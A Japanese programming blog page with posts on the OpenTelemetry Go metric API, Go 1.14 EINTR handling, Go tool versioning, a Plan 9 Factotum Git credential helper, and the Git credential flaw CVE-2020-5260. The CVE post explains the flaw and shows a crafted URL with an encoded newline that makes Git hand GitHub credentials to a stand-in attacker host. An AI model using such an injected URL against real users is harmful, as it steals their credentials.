Plan 9とGo言語のブログ

主にPlan 9やGo言語の日々気づいたことを書きます。

OpenTelemetryメトリックにObserverとResourceが追加されました

以前の記事で、OpenTelemetryでメトリックを記録するを書きましたが、現在いくつか変更が入っています。細かい型名やメソッド名が変わったものは除いて、大きめの変更点をまとめました。

Observerの追加

以前までは、メトリックの種類は

  • Measure - 複数の値を記録するもの(例: HTTPハンドラのレイテンシ)
  • Gauge - 最新の値だけ分かればいいもの(例: メモリ利用率)
  • Count - カウンタ(例: GC回数)

の3種類でしたが、ここからGaugeがなくなって、代わりにObserverが追加されました。ドキュメントによると、Gaugeが使われるケースはOSやインフラなどの値を取得することが多く、この処理は(単純な計算に比べて)コストが高いので、非同期に行えるようにしたようです。

使い方は今までのものと少し異なり、事前に関数を登録しておきます。

import (
    "runtime"

    "go.opentelemetry.io/otel/api/global"
    "go.opentelemetry.io/otel/api/metric"
    "go.opentelemetry.io/otel/api/unit"
)

meter := global.MeterProvider().Meter("example/ping")
meter.RegisterInt64Observer("runtime.memory.alloc", func(result metric.Int64ObserverResult) {
    var m runtime.MemStats
    runtime.ReadMemStats(&m)
    result.Observe(int64(m.Alloc), labels...)
}, metric.WithUnit(unit.Bytes))

こうしておくと、OpenTelemetryのSDKはCheckpoint*1に到達するたびに、登録しておいた関数を暗黙的に実行して、result.Observeで返した値をExporterへ渡してくれるようになります。result.Observeはラベルが異なれば別の値として扱うため、1つの関数で何回呼び出しても構いません。これらの使い方以外は、Observerは使い方以外はGaugeと同じで、最終値しか取れません。また、登録した関数を解除する方法はありません。

ところで、上で挙げた例のruntime.MemStatsは1回の取得で複数の値を持っています。例えばAlloc, HeapAllocなどメモリの値をそれぞれ別のメトリックで扱いたい場合は、メトリックの数だけReadMemStatsが呼ばれてしまって効率が悪くなります。この点について現在issueが上がっているので、おそらく近いうちにまた変更が入るでしょう。

リソースがラベルから分離

今までは、メトリックにラベルをつける場合、

counter := meter.NewInt64Counter(...)
counter.Add(ctx, 1, labels)

のように、計測するときに全て渡すことしかできませんでした。Bindで設定しておくことは可能ですが、それでも一括で設定しかできませんでした。ですが一般的に、インスタンスIDやホスト名などのラベルは、メトリックにかかわらず全て一定で変化がありません。こういった、リソースを示すためのラベルを一括して設定できるようになりました。

以下はexporters/metric/stdoutの場合ですが、リソースに対応しているExporterは、Exporterの初期化を行う前後になんらかの方法でリソースを渡す方法があるんじゃないかなと思います。

import (
    "go.opentelemetry.io/otel/api/key"
    "go.opentelemetry.io/otel/exporters/metric/stdout"
    "go.opentelemetry.io/otel/sdk/metric/controller/push"
    "go.opentelemetry.io/otel/sdk/resource"
    "go.opentelemetry.io/otel/sdk/resource/resourcekeys"
)

pusher, err := stdout.InstallNewPipeline(stdout.Config{}, push.WithResource(resource.New(
    key.String(resourcekeys.HostKeyID, "1-2-3-4"),
    key.String(resourcekeys.HostKeyName, "localhost"),
)))

今まで通り、メトリックを記録する時にもラベルを設定することができます。リソースまたはメトリックで設定したラベルは、Exporterには

  1. リソースとして扱うラベル
  2. メトリックに紐づくラベル

のように分かれて渡されます。これら2種類のラベルをどのように扱うかはExporterの実装依存となりますが、おそらく多くの実装ではこれらをマージして扱うんじゃないかなと思います。

*1:Exporterがバックエンドに送る周期

Git credentialプロトコルの脆弱性(CVE-2020-5260)を眺めた

Gitは認証の必要なリポジトリへアクセスするとき、ユーザ名とパスワード入力を必要としますが、アクセスするたび入力するのは煩わしいので、資格情報を記憶するために、git-credential-から始まる名前のカスタムヘルパーコマンドが存在します。これらカスタムヘルパーはGitから標準入出力を扱う普通のコマンドで、標準入力経由でGitから渡されたパラメータに従って、対応するパスワードを標準出力を介してGitへ返します。ヘルパーコマンドが呼ばれるルールはgitcredentials(7)に書かれています。

これらのヘルパーコマンドとGitの間で使われるプロトコルがGit credentialプロトコルです。プロトコルは1行に1つのキーバリューが書かれるテキストプロトコルで、リクエストは空行で終わります。ヘルパーコマンドは空行までを読み取って、不足しているパラメータ(通常はパスワードだけ)を返します。これらのパラメータはリポジトリのURLから生成されます。以下はGit credentialプロトコルでパスワードを取得するときの例です。

protocol=https
host=github.com
username=lufia

password=xxx

macOSを使っている場合は、以下のようにするとKeychainからパスワードを取り出せます。最後の空行を忘れないようにしましょう。

% `git --exec-path`/git-credential-osxkeychain get
protocol=https
host=github.com
username=lufia

CVE-2020-5260

日本時間だと4/15 3:00頃にGit 2.26.1がリリースされました。このリリースでCVE-2020-5260というGit credentialプロトコル脆弱性が修正されました。

上記でみたように、Git credentialプロトコルは改行文字でパラメータを区切ります。ところでURLはパーセントエンコーディングされた値を一部の場所で使うことができるため、https://host?%0aのように改行文字も与えることができてしまいます。そしてややこしいことに、Gitはcredentialプロトコルで扱うURLのパースを厳密には行っていません。そのため、外部からプロトコルへ介入することができてしまいます。例えば以下の場合、

https://evil.example.com?%0agithub.com/xxx

Git 2.26.0までは、Gitは%0aをデコードしてヘルパーコマンドへ渡すため、

protocol=https
host=evil.example.com
host=github.com

のようにhost=パラメータが2回現れます。同じパラメータが届いた場合は後勝ちなのでhost=github.comのパスワードがGitへ戻されますが、しかしGitが実際に通信するリポジトリのホストはevil.example.comなので、パスワードが漏れてしまって非常にまずいですね、という脆弱性です。

影響

ヘルパーコマンドは、git-remote-httpリポジトリへアクセスするとき、またはgit imap-sendでパッチを送るときに使われるようでした。そのため、影響を受けるプロトコルは現代ではhttpsがほとんどでしょう。ssh経由でアクセスしている場合はgit-remote-httpを使わないので、おそらく影響しないと思われます(間違っていたら指摘ください)。ただし、SourceTreeなどGitクライアントや、場合によってはHomebrewやGoコンパイラなど、裏でGitコマンドを使っている場合も対象となるので注意が必要です。

やるべきこと

脆弱性が修正されたバージョンにGitをアップデートしましょう。Git credentialのヘルパーコマンドを全て無効化する方法もあるようですが、絶対にアップデートする方が簡単です。

パスワードは変更した方が良いのか

信用できるリポジトリしか扱わない前提があれば、パスワードの変更は不要だとは思いますが、少しでも不安なら変更した方が安全だと思います。

Gitの認証情報管理にFactotumを使う

Gitは認証が必要なリポジトリにアクセスするとき、credential helperと呼ばれるコマンドを実行します。credential helperはただの標準入出力を扱うプログラムで、一般的には git-credential-xxx という命名になっています。おそらく以下のうちどれかをよく使うのではないかと思います。

macOSの場合は、デフォルトでgit-credential-osxkeychainが使われるので、自分で設定することは少ないかもしれませんね。helperコマンドはgit configで設定します。

git config --global credential.helper cache

Gitは認証が必要だとわかった時点で、git configで設定したhelperコマンドを実行します。このときコマンドには、以下のような値が標準入力経由で渡されることになります。入力はname=value形式で1行1つ記述されていて、最後に空行で終わります。これらの値は状況によって省略されるものもあります。

protocol=https
host=github.com
path=path/to
username=lufia
password=xxx

helperは入力を空行まで読み込んで、条件に対応する値を標準出力でGitに返す必要があります。基本的にはpasswordだけを返せば動くと思いますが、それ以外の値も返せば、入力に優先して返した値が使われます。protocolなどを個別に返してもいいし、urlとしてまとめても同じです。

protocol=https
host=github.com
path=path/to
username=lufia
password=xxx
url=https://lufia:xxx@github.com/path/to
quit=0

credential helperの詳細はPro Gitに書かれています。

また、呼び出す側の実装はこのファイルです。

標準で持っているhelperはgit-coreディレクトリに入っています。

% git --exec-path
/Library/Developer/CommandLineTools/usr/libexec/git-core

% 9 ls -p /Library/Developer/CommandLineTools/usr/libexec/git-core/git-credential-*
git-credential-cache
git-credential-cache--daemon
git-credential-osxkeychain
git-credential-store

Factotumを使う

上でみたように、credential helperはただの標準入出力を扱うプログラムなので、echoで固定の文字列を返してもいいし、ネットワークからパスワードを持ってくるコマンドを自作することもできます。ところでPlan 9にはfactotumという認証エージェントが存在していて、これはPlan 9ツールをUnixに移植したplan9portでも使えるので、factotumからパスワードを取り出すcredential helperを実装してみました。完全なソースコードはこちらです。

github.com

Factotum

FactotumはSSH秘密鍵やログインパスワードなどを一括して扱うプログラムです。key=valueのリストを管理します。!で始まる属性は秘密情報扱いとなり、表示されません。

% factotum
% echo 'key proto=pass role=client service=git dom=github.com user=lufia !password=xxx' |
> 9p write factotum/ctl
% 9p read factotum/ctl
key proto=pass role=client service=git dom=github.com user=lufia !password?

上記の例ではpassプロトコル(生のパスワードを扱うプロトコル)を使いましたが、これ以外にもp9sk1rsaなどいくつか用意されています。protoの値によって必須となる属性は変わります。passプロトコルではuserpassword属性が必須です。任意の属性はいくつ追加しても構いません。ここでは、Git用のパスワードと識別するためにserviceキーと、対象サービスのドメインdom属性を追加しています。

登録された情報を使う場合、proto=pass role=client user=lufiaのように絞り込むための属性を使ってfactotumへアクセスします。ところで、Plan 9libauthにはproto=passのための関数があるので、それを使えば十分です。

#include <u.h>
#include <libc.h>
#include <thread.h>
#include <auth.h>

...

UserPasswd *up;

up = auth_getuserpasswd(nil, "proto=pass role=client user=lufia");
if(up == nil)
    sysfatal("auth_getuserpasswd: %r");
print("username=%s\n", up->username);
print("password=%s\n", up->passwd);
free(up);

Gitはcredential helperからパスワードを取り出せなかった場合に入力を促して、その内容をcredential helperに保存しようとします。factotumにエントリを登録する場合はfactotum/ctlファイルに書き込めば終わりです。ただし、Plan 9ネイティブの場合は/mntfactotumが提供するファイルをマウントしているので/mnt/factotum/ctlopenすればいいんですが、plan9portの場合は直接参照することができないため、lib9pclientを使う必要があります。

#include <u.h>
#include <libc.h>
#include <thread.h>
#include <9pclient.h>

...

CFsys *fs;
CFid *fid;

fs = nsamount("factotum", nil);
if(fs == nil)
    sysfatal("nsamount: %r");
fid = fsopen(fs, "ctl", OWRITE);
if(fid == nil)
    sysfatal("fsopen: %r");
if(fswrite(fid, "key proto=pass ...", n) < 0)
    sysfatal("fswrite: %r");
fsclose(fid);
fsunmount(fs);

上記ではfsopenを使いましたが、代わりにfsopenfdを使うと、CFidの代わりにファイルディスクリプタを受け取ることができて、以降普通のファイルとして扱えるのでこちらの方が便利かもしれません。

Plan 9ネイティブなfactotumはパスワードを扱うだけあって、swapしないようになっていたり、デバッガの接続を禁止していたりと安全な作りになっていますが、plan9portのfactotumにはそういった仕様は盛り込まれていなさそうです。また、factotum単体ではプロセスが死ぬと記憶していたパスワードは消えてしまうので、永続化したい場合はsecstoredと一緒に使いましょう。

macOSの場合

launchd設定例です。

com.bell-labs.plan9.factotum.plist

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>EnvironmentVariables</key>
    <dict>
        <key>PLAN9</key>
        <string>/usr/local/plan9</string>
        <key>PATH</key>
        <string>/usr/local/plan9/bin</string>
    </dict>
    <key>Label</key>
    <string>com.bell-labs.plan9.factotum</string>
    <key>ProgramArguments</key>
    <array>
        <string>/usr/local/plan9/bin/factotum</string>
    </array>
    <key>RunAtLoad</key>
    <false/>
    <key>KeepAlive</key>
    <dict>
        <key>OtherJobEnabled</key>
        <dict>
            <key>com.bell-labs.plan9.secstored</key>
            <true/>
        </dict>
        <key>SuccessfulExit</key>
        <false/>
    </dict>
</dict>
</plist>

com.bell-labs.plan9.secstored.plist

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>EnvironmentVariables</key>
    <dict>
        <key>PLAN9</key>
        <string>/usr/local/plan9</string>
    </dict>
    <key>Label</key>
    <string>com.bell-labs.plan9.secstored</string>
    <key>ProgramArguments</key>
    <array>
        <string>/usr/local/plan9/bin/secstored</string>
        <string>-v</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
</dict>
</plist>

Go 1.14でシステムコールがEINTRエラーを返すようになった

Go 1.13までのゴルーチンの切り替えは、チャネルの送受信やシステムコール呼び出し、関数呼び出し前にコンパイラが暗黙的に挿入する処理などによって行われていました。そのため、上記の切り替わり操作を全く行わないループなどがあれば、そのゴルーチンがずっと実行されます。

func loop() {
    // この辺りにコンパイラがコード挿入している

    for {
        // 切り替わり処理が行われないので無限に実行される
    }
}

この結果、$GOMAXPROCSが1の場合はプログラムが停止します。コンパイラが挿入するコードは、インライン展開された場合やgo:nosplitディレクティブが記述された場合には行われないので、関数呼び出しをしていてもゴルーチンが切り替わらない場合はあります。

Goのスケジューラについてはこの辺りが詳しいです。

これ自体はGoを学び始めた人がよく引っかかるものですね。

何が問題なのか

このように、Goでは特定の場所でしかゴルーチンの切り替えが行われないため、Non-cooperative goroutine preemptionというプロポーザル*1によると、GCのStopTheWorld時間が長くなったりするそうです。

Go 1.14では、上記のようなコードでも切り替えられるように、ゴルーチンの切り替えがSA_RESTARTフラグ付きのSIGURGによっても行われるようになりました。ざっとコードを眺めた雰囲気だと、SIGURGGCの処理で送っているみたいですね。この結果、Go 1.14のリリースノートには

A consequence of the implementation of preemption is that on Unix systems, including Linux and macOS systems, programs built with Go 1.14 will receive more signals than programs built with earlier releases. This means that programs that use packages like syscall or golang.org/x/sys/unix will see more slow system calls fail with EINTR errors.

と書かれています。システムコール実行中にシグナルを受け取ると、システムコールEINTRを返す場合があるので、syscallgolang.org/x/sys/unixを直接使っている場合は適切なエラーハンドリングしましょう、とのことです。osnetなど、他のパッケージを使っている場合もたぶん同じで、Go 1.13まではエラーにならなかったシステムコールEINTRエラーになるパターンが増えます。

どう対応するべきか

Linuxの場合*2システムコールや呼び出し時のオプションによって、シグナルで中断した場合の動作は以下の2通りに分かれます。

  • シグナルを処理した後で再開される
  • EINTRエラーを返す

どのシステムコールがどんな条件でEINTRを返すのかは、Linuxマニュアルに詳しく書かれていました。

自動でカーネルが再開してくれる場合は、当然ですが今までと同じように動作するため対応不要です。Goランタイムが送るSIGURGにはSA_RESTARTフラグが付いているので、ほとんどは大丈夫そう。EINTRを返すことがあるシステムコールの場合は、そのままエラーを返すかリトライするかを決める必要があるでしょう。とはいえsyscall.EINTRを直接使ってしまうと、他のOSに移植する際にとても困ります*3。Goのsyscall.ErrnoTemporaryメソッドを実装していて、EINTRの場合はtrueを返すので、代わりにこれを使うと良いと思います。

type temporaryer interface {
    Temporary() bool
}

_, err := r.Read(buf)
if err != nil {
    if e, ok := err.(temporaryer); ok {
        fmt.Println(e.Temporary())
    }
}

ただし、close(2)の場合、システムコールから戻った時点でファイルディスクリプタは無効になっており、同じファイルディスクリプタが他のファイルに割り当てられる可能性があるため、リトライしてはいけないようです。

おまけ

Goでファイルの存在確認でも似たようなことを書きましたが、ファイルの書き込みを行う場合、deferを使って、

w, err := os.OpenFile(file, os.O_WRONLY|os.O_APPEND, 0660)
if err != nil {
    return err
}
defer w.Close()

_, err := w.Write(data)
return err

みたいに書いてしまうと、close(2)のエラーが拾えません。その結果、書き込みが失敗しているのに成功扱いしてしまいます。読み込みだけの場合はこれで問題ありませんが、書き込みをしたファイルのCloseは、OSが持っているバッファをディスクに書き込もうとしてエラーになる可能性があるので、きちんとエラーを拾いましょう。

2020-03-02追記

ファイルの場合、os.File.Sync でバッファをフラッシュしておいて、Closeではエラーを発生させないようにするのがベストプラクティスのようです。

*1:issueはgolang/go#24543です

*2:他のOSでも概ね同じだと思いますが

*3:syscallが提供している型を公開メソッドで直接参照するのは良くないと思います

Goモジュールでツールもバージョン管理する

Goモジュール管理下では、プロジェクトで使うGo製ツールのバージョンも管理できます。今までの経験では、ツールのバージョンが上がって困ることは記憶にないですが、とはいえ2018年5月ごろにprotoc-gen-goが大きめの変更を入れたこともあるので、バージョン管理しておいて損はないでしょう。このハックは、割とGoモジュール初期からあったようですが、最近使ったので書きました。

使い方

ツールを追加する

Go 1.13時点では、モジュール管理しているリポジトリgoimportsなどのツールをgo getすると、go.modが書き換えられて管理対象に入ります*1が、恒久的にソースコードへ含まれる訳ではないため、go mod tidyなどで整理すると、ツールのインストール時に追加されたモジュールがgo.modから削除されます。ここではツールもバージョン管理したいので、ビルド制約(build constraints)でビルド対象に含まれないようにしたファイルに、利用するツールを書き並べていきます。このときのビルドタグやファイル名はなんでも構いませんが、公式ではファイル名にtools.go、ビルドタグにtoolsが使われているので、合わせておいくといいでしょう。

// +build tools

package main

import (
    // コマンドまでのパスを書く
    _ "golang.org/x/tools/cmd/stringer"
    _ "golang.org/x/lint/golint"
)

これでgo mod tidyすると、その時点の最新バージョンがGoモジュール管理対象に入ります。または最初からバージョンを指定したい場合はgo getで明示しましょう。

// 全部最新でいい場合
% go mod tidy

// バージョン指定する場合
% go get golang.org/x/lint/golint@v0.0.0...

% git add go.mod go.sum

なぜこれで動くのかというと、tools.goはビルド制約があるのでビルド対象には含まれません。しかしgo mod tidyはビルド制約に関わらずモジュールを探すので、安全にツールのバージョンをgo.modに残せます。

ツールをインストールする

CIなど、go.modで指定されたバージョンをインストールしたい場合は、go installを使います。

% go install golang.org/x/lint/golint

バージョンを維持したい場合は必ずgo installを使いましょう。go getは現在参照可能な最新のバージョンをインストールするため、go.modが更新されてしまいます。

ツールをアップデートする

この場合はgo getで更新すればいいですね。

// バージョン確認
% go list -m -u all

// 以下のうちどれかでアップデート
% go get          golang.org/x/lint/golint
% go get -u       golang.org/x/lint/golint
% go get -u=patch golang.org/x/lint/golint

% git add go.mod go.sum

go getの使い分け

Goモジュールではgo getだけでgo.modに関わらず最新のバージョンを取得するので、go get -uとの違いについてGOPATHモードのgo getを知っている人は混乱するかもしれません。これはgo help module-getによると、インストールするモジュールが依存するモジュールをどう扱うか、を表すようです。

  • go get <pkg>: <pkg>go.modに書かれたバージョンをminimal version selectionで維持する
  • go get -u <pkg>: <pkg>が依存するモジュールも同じメジャーバージョン内でアップデートする
  • go get -u=patch <pkg>: <pkg>が依存するモジュールも同じマイナーバージョン内でアップデートする

アップデートしたいなんらかの事情があるとか、モジュール自体の更新が滞ってない限りはgo getを使えば良さそうですね。また、go getgo installの違いはバージョンを更新するかどうか、です。

  • go get <pkg>: 最新の<pkg>go.modを更新する
  • go install <pkg>: メインリポジトリgo.modに従う

つらいところ

Goモジュールを通してつらい部分は、ツールのバージョン管理でもそのまま残ります。具体的には、ツールがセマンティックバージョニングを守っていない場合、公式のモジュールデータベースにバージョンが記録されないのでGOPRIVATEGONOSUMDB環境変数を使ってリポジトリを直接見に行く必要があります。

例えばgithub.com/github/hubは2020年2月時点で、モジュールデータベース上はv2.11.2+incompatibleが最新バージョンとなっていますが、GitHubのタグではv2.14.1まで存在します。そのため、v2.14.1をインストールしたい場合、以下のようにバージョンを直接書き換えたうえで公式データベースを参照しないよう回避しなければなりません。

% go mod edit -require github.com/github/hub@v2.14.1+incompatible
% GONOSUMDB=github.com/github/hub go install github.com/github/hub // go getするとダメ

ところで、hubの新しいバージョンが公式モジュールデータベースに記録されない理由ですが、このモジュールはv2.12.0go.modを持つように変わりました。そうすると、タグ付けされたバージョンがv2以上であるのにimport pathがgithub/hub/v2のような形になっていないためincompatibleなバージョンとして扱われます。現在、公式モジュールデータベースはgo.mod対応モジュールではincompatibleなバージョンを扱わないようで、その結果としてv2.12.0以降のバージョンが登録されなくなってしまっているようです。

これは手元で以下のコマンドを実行してみると分かります。

% go version
go version go1.13.5 darwin/amd64

% go get github.com/github/hub@v2.14.1
go: finding github.com/github/hub v2.14.1
go: finding github.com/github/hub v2.14.1
go get github.com/github/hub@v2.14.1: github.com/github/hub@v2.14.1: invalid version: module contains a go.mod file, so major version must be compatible: should be v0 or v1, not v2

どう使うと良いのか

冒頭で書いたように、Go製ツールのバージョンが上がって致命的に困ったことは今のところありません。なのでツールのバージョンにそれほど神経質になる必要はない気がします。また、手元を古いバージョンで固定するのはあまり筋が良くないので、開発者の手元では新しいバージョンを使うようにして、CI側のバージョンを固定しておくとツールの最新バージョンでCIが誰にも気づかれず突然壊れることがなくなって便利かな、と思います。

*1:golang/go#30515go.modを更新しないオプションも検討されています

OpenTelemetryでメトリックを記録する

OpenTelemetryトレースの例はいっぱい見つかりますが、メトリックはまだ実装中*1だからなのか、ほとんど見つからなかったので調べたことをまとめました。

OpenTelemetryの概要は公式ドキュメントのOverviewを眺めると雰囲気わかると思います。

2020/04/30追記: いくつか変更があったので大きめの差分を以下の記事にまとめました

blog.lufia.org

使い方

OpenTelemetryでは、メトリックの記録と、メトリックをバックエンドサービスへ送るためのExporter設定を行う必要があります。ExporterはStackdriverやPrometheusなど標準で用意されていているものを使うこともできるし、なければ自分で作ることもできます。この記事では、(せっかく作ったので)Mackerel Exporterを使ってコードを書きますが、どのExporterを選んでも計測するコードには影響ありません。

事前に用意されているメトリック用のExporterはopentelemetry-goリポジトリにいくつかあります。

Exporterの準備

まずExporterの準備を行いましょう。OpenTelemetryのGo用パッケージを使って書いていきます。go.opentelemetry.io/otelは大きく/api以下のパッケージと/sdk以下のパッケージに分かれています。/sdk以下のパッケージは、/apiの裏で参照されていたり、独自のExporterを実装する場合などに必要となりますが、メトリックを記録するだけなら通常は/api以下のパッケージだけを使えばよい設計になっています。

import (
    "context"
    "log"
    "os"
    "runtime"
    "time"

    "go.opentelemetry.io/otel/api/core"
    "go.opentelemetry.io/otel/api/global"
    "go.opentelemetry.io/otel/api/key"
    "go.opentelemetry.io/otel/api/metric"

    "github.com/lufia/mackerelexporter-go"
)

var (
    keyHostID      = key.New("host.id")
    keyHostName    = key.New("host.name")
    keyServiceNS   = key.New("service.namespace")
    keyServiceName = key.New("service.name")
)

func main() {
    apiKey := os.Getenv("MACKEREL_APIKEY")
    pusher, err := mackerel.InstallNewPipeline(mackerel.WithAPIKey(apiKey))
    if err != nil {
        log.Fatal(err)
    }
    defer pusher.Stop()

    ...
}

以上のコードで、Exporterは一定周期(Checkpoint)ごとに計測した値をバックエンドサービスへ送るようになりました。他のExporterでも、オプションなどは変わると思いますが基本的にはInstallNewPipelineメソッドが用意されていると思うので、それを使えばいいでしょう。Checkpointの間隔はExporterによって異なります。Mackerelの場合は常に1分単位ですが、stdoutに出力するだけのExporterは1秒間隔です。

Exporterは複数設定してもエラーにはなりませんが、計測したメトリックはどれか1つのExporterにしか送られませんので1つだけ設定して使いましょう。OpenTelemetry Collectorのドキュメントによると、Collectorを使うと複数のExporterへ送ることができると読めますが、使ったことはないので分かりません。

メトリックの用意

続けて、Exporterを登録しただけではメトリックの記録はできませんので、使う準備をしていきましょう。

meter := global.MeterProvider().Meter("example/ping")
mAlloc := meter.NewInt64Gauge("runtime.memory.alloc", metric.WithKeys(keys...))

global.MeterProvider().Meter(string)metric.Providerを作り、そこへカウントなどを記録していく使い方となります。上のコード例ではint64を扱うハコ(Gauge)を1つ用意しました。OpenTelemetryでは、このようにメトリックの種類と値の型の組み合わせで記録したい時系列データを表現します。

メトリックの種類

メトリックの種類に選べるものは以下の3つです。

  • Measure - 複数の値を記録するもの(例: HTTPハンドラのレイテンシ)
  • Gauge - 最新の値だけ分かればいいもの(例: メモリ利用率)
  • Count - カウンタ(例: GC回数)

MeasureGaugeの違いは分かりづらいのですが、GaugeはCheckpointの最終値だけ分かれば良い場合に使います。例えばメモリの使用量について、途中がどんな値であれ最終的にCheckpoint時点の値さえ分かればいいならGaugeにするといいでしょう。そうではなく、Checkpointまでに記録した値を集計したい要望があるならMeasureを選びましょう。Measureは期間内に発生した値を郡として扱うので、Exporterはその値を使って最大・最小・平均・合計などを計算できます。

値の型(NumberKind)

メトリック値の型は以下の3つから選べます。

  • Int64NumberKind
  • Float64NumberKind
  • Uint64NumberKind

この型は、具体的なメトリックの値(core.Number)の型となります。

metric.WithKeysは何をしているのか

上のコード例で、

meter.NewInt64Gauge("runtime.memory.alloc", metric.WithKeys(keys...))

と書きましたが、このmetric.WithKeysは何をしているのでしょうか。これは、メトリックの値と一緒に記録することが推奨されるラベルを設定しています。keysはファイルの先頭で宣言しているので、言い換えると上のコードで準備したruntime.memory.allocメトリックは

  • host.id
  • host.name
  • service.namespace
  • service.name

のラベル4つを値と一緒に記録することを推奨する、と表現できます。ラベルの名前は好きなものを使って構いませんが、OpenTelemetryは標準的なリソース名が定義されているので、それに合わせた方が便利でしょう。

推奨ラベル以外のラベルが渡された場合の扱いは、Exporterの実装によって異なります。Mackerel用のExporterは推奨ラベル以外を無視しますが、他のExporter、例えばstdoutに出力するExporterは推奨に含まないラベルも渡されたもの全てをそのまま扱います。この動作はBatcherインターフェイスの実装に以下のどちらを選ぶかによって変わります。

defaultkeysは推奨ラベルのみ扱う実装です。反対にungroupedはなんでも扱います。

メトリックを記録する

メトリックの値は、用途によって4種類の記録方法が使えます。

  • ラベルや値を全て指定して記録する - Direct
  • 事前に設定しておいたラベルを使って記録する - Bound
  • バッチ処理 - 複数の値をまとめてatomicに記録する - Batch
  • metric.InstrumentImplを使って記録する - Impl

以下でDirect, Bound, Batchの3つについて書き方を紹介します。Implについてはドキュメントを読めば雰囲気は分かると思うので調べてみてください。

全て指定して記録(Direct)

ラベルと値を両方指定する方法です。

gauge := meter.NewInt64Gauge(...)
gauge.Set(ctx, 100, labels)

counter := meter.NewInt64Counter(...)
counter.Add(ctx, 1, labels)

measure := meter.NewInt64Measure(...)
measure.Record(ctx, 10, labels)

ラベルを事前に設定しておく(Bound)

ラベルを省略できるので、同じラベルでなんども記録する場合に便利です。

gauge := meter.NewInt64Gauge(...)
boundGauge := gauge.Bind(labels)
boundGauge.Set(ctx, 100)

counter := meter.NewInt64Counter(...)
boundCounter := counter.Bind(labels)
boundCounter.Add(ctx, 1)

measure := meter.NewInt64Measure(...)
boundMeasure := measure.Bind(labels)
boundMeasure.Record(ctx, 10)

複数の値をまとめて記録(Batch)

Exporterは非同期にメトリックをバックエンドへ送っているため、タイミングによっては、本来は2つペアとなるメトリックなのに片方だけ更新された状態でCheckpointに到達してしまった、という状態が起こり得ます。そういった、不完全な状態でExporterが送らないように、関連する値をまとめて更新する方法が用意されています。

meter.RecordBatch(ctx, labels,
    gauge.Measurement(100),
    counter.Measurement(1),
    measure.Measurement(10),
)

Batchで記録する場合は、ラベルをBindさせる手段は無さそうです。

ラベルの値を設定する

今後、属性(Attribute)に名前が変更されそうですが、今はまだラベルと呼びます。

これまで、ラベルはキーしか定義していませんでしたが、ラベルはキーと値で構成されるものです。メトリックにラベルを設定する場合は値も必要なので

hostID := keyHostID.String("10-1-2-241")
statusNotFound := keyStatusCode.Int32(404)

のように必要なペアを作ってメトリックと一緒に記録しましょう。キーはcore.Key型で、値はcore.ValueType型です。値には以下の型を使えます。

  • BOOL
  • INT32
  • INT64
  • UINT32
  • UINT64
  • FLOAT32
  • FLOAT64
  • STRING

ペアになったラベルはcore.KeyValueです。どれもcoreパッケージで定義されています。

まとめ

OpenTelemetryのMetric APIは、

  • アプリケーションは必要なときに値を記録する
  • 記録した値を一定周期でサービスへ送る

をするだけです。とりわけOpenTelemetryを使わず自前実装しても、大した手間ではありません。だけどもOpenTelemetryの開発が進むにつれてエコシステムも整備されていくはずです。今はopentelemetry-goリポジトリpluginディレクトリにはトレース用のプラグイン(extension)しかありませんが、database/sqlnet/http、Redisなどのメトリックを扱うプラグインは今後おそらく用意されるでしょうし、ドキュメントを眺めた雰囲気では、Collectorなど群を扱うグッズも増えていく気がします。メトリック送信のしくみを自前実装する方が、覚えることが少なく心理的に手を出しやすいけれども、エコシステムの恩恵を受けるために今のうちから対応しておくといいんじゃないかなと思っています。

*1:Project Statusによるとv0.2

転売しない人に譲りたい

人からもらった家電があったのだけれど、しばらく使っていないし今後も使う予定がなかったし、未開封のまま捨てるのも勿体ないなという気持ちがあったので某フリマサイトで売った。まあまあ良い金額にはなったけれど、おそらく転売目的だろうと思われる人に購入されてしまって、体験としては微妙に後味が悪いものだった。

売れたけど

出品後、当たり前のように値引き交渉があった。金額にはこだわりが無かったけれど転売目的なのかどうかは気をつけていたので、購入希望者が過去に出品した数を眺めた。該当アカウントの出品数は年に数個程度だったので、転売目的ならもっと多いだろうと判断して売ったのだけれど、発送のやり取りで「他にも同種の在庫があれば引き取る」と言われてしまって、今回売った家電は同じものをいくつも持つようなジャンルではないので、転売目的だなと気づいた。出品アカウントを分けているんだろうか。

もともと、自分自身の性格は物に対して(おそらく普通の人より)愛着を持ってしまう傾向があるので、本当に必要なものしか買わないし、買ったら長く使うし滅多に捨てない(数年で劣化するものは別だけれど)。なので転売のために買われたこの家電は、まだ使われることはなんだと考えると残念な気持ちになるので、多少安くても、さいあく無償で譲ることになったとしても、物が作られた本来の使い方をきちんとしてくれる人に渡って欲しかったと思う。

まあ取り引きは成立してしまったので今更言っても仕方がない。次はもっとうまく見極めようと思うが、体験は良くなかったので次も某フリマサイトを使うかは分からない。

あとがき

これを読んだ翌日だったので、萎えるなーと思ったのでした。